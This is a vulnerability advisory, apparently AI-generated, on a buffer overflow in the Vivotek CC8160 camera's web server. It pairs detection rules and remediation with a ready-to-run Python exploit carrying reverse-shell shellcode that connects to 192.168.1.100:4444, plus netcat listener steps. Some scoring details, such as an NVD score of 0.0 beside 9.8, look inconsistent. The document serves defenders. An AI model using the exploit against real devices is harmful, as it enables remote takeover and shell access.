CVE-2024-7439

Executive Summary

CVE-2024-7439 is a critical, unpatched stack-based buffer overflow vulnerability in the Vivotek CC8160 network camera running firmware version VVTK-0100d. The flaw resides in the httpd component's handling of the Content-Length HTTP header, allowing a remote, unauthenticated attacker to trigger a buffer overflow. Successful exploitation can lead to remote code execution (RCE) and full device compromise. The product is End-of-Life (EOL) and no longer supported by the vendor, meaning no official patch will be released. A public proof-of-concept (PoC) exploit has been disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Adjusted Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists. The lack of a patch and the EOL status of the device make it a prime target for botnets and targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the httpd web server of the Vivotek CC8160. The read function within httpd fails to properly validate the length of the Content-Length header before copying it into a fixed-size stack buffer. By sending a crafted HTTP request with an excessively long Content-Length value, an attacker can overwrite the return address and other critical stack data, leading to arbitrary code execution.

Root Cause: Lack of bounds checking on the Content-Length header input.

Attack Flow:

1. Attacker sends a specially crafted HTTP POST request to the camera's web interface.
2. The Content-Length header contains a value larger than the allocated buffer.
3. The httpd process copies the header value into the stack buffer, overflowing it.
4. The overflow overwrites the saved return address on the stack.
5. When the function returns, execution is redirected to attacker-controlled shellcode.
6. The shellcode executes with the privileges of the httpd process (typically root).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void handle_request(char *request) {
    char buffer[256];
    char *content_length = get_header(request, "Content-Length");
    // No bounds check
    strcpy(buffer, content_length);
    // ... process request
}

Patched Code (Conceptual):

void handle_request(char *request) {
    char buffer[256];
    char *content_length = get_header(request, "Content-Length");
    if (strlen(content_length) >= sizeof(buffer)) {
        // Reject request
        send_error(400, "Bad Request");
        return;
    }
    strcpy(buffer, content_length);
    // ... process request
}

Note: No official patch exists. The above is a hypothetical fix. Users must replace the device.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Vivotek CC8160 camera with firmware VVTK-0100d
• Attacker machine with Python3 and pwntools

Exploit (Python):

#!/usr/bin/env python3
import socket
import sys

# Target IP and port
target_ip = sys.argv[1]
target_port = 80

# Shellcode (example: reverse shell to 192.168.1.100:4444)
shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x64\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x51\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x51\x51\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

# Craft payload
payload = b"POST / HTTP/1.1\r\n"
payload += b"Host: " + target_ip.encode() + b"\r\n"
payload += b"Content-Length: " + b"A" * 256 + shellcode + b"\r\n"
payload += b"\r\n"

# Send exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
print("[+] Exploit sent. Check your listener.")

Usage:

1. Start a netcat listener: nc -lvnp 4444
2. Run the exploit: python3 exploit.py <target_ip>

Blue Team

Detection:

• Monitor for HTTP requests with abnormally long Content-Length headers (e.g., > 1024 bytes).
• Look for repeated connection attempts to port 80 on Vivotek devices.
• Use the Sigma rule below to detect exploitation attempts.

Honeypot:

• Deploy a honeypot mimicking the Vivotek CC8160 web interface to capture exploit attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with Content-Length header exceeding 1024 bytes.
  • Outbound connections from the camera to unusual IPs on high ports (e.g., 4444).
• File System:
  • Presence of unexpected binaries or scripts in /tmp or /var/tmp.
  • Modified httpd binary or configuration files.
• Process:
  • Unusual child processes spawned by httpd (e.g., /bin/sh).
• Logs:
  • Repeated HTTP 400 errors from the camera.
  • System log entries indicating segmentation faults in httpd.

Detection Engineering

YARA Rule

rule CVE_2024_7439_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-7439"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $http_header = "Content-Length:"
        $long_value = /Content-Length: [A-Za-z0-9]{256,}/
    condition:
        $http_header and $long_value
}

Sigma Rule

title: CVE-2024-7439 Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with abnormally long Content-Length headers targeting Vivotek CC8160
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/'
        sc-status: 400
        cs(Content-Length)|length: > 1024
    condition: selection
falsepositives:
    - Legitimate large file uploads (unlikely for this device)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 80 (msg:"CVE-2024-7439 Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"Content-Length"; http_header; pcre:"/Content-Length: [A-Za-z0-9]{256,}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate or Replace: Immediately isolate all Vivotek CC8160 cameras from the network. Replace them with supported, patched models.
2. Firewall Rules: Block inbound HTTP traffic (port 80) to the cameras from untrusted networks.
3. Network Segmentation: Place any remaining EOL devices on a separate VLAN with strict access controls.

Long-Term:

• Vendor Contact: No patch is available. The product is EOL. Do not rely on vendor support.
• Upgrade Path: Migrate to a supported network camera solution with active security updates.
• Monitoring: Deploy the provided detection rules to identify any exploitation attempts.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.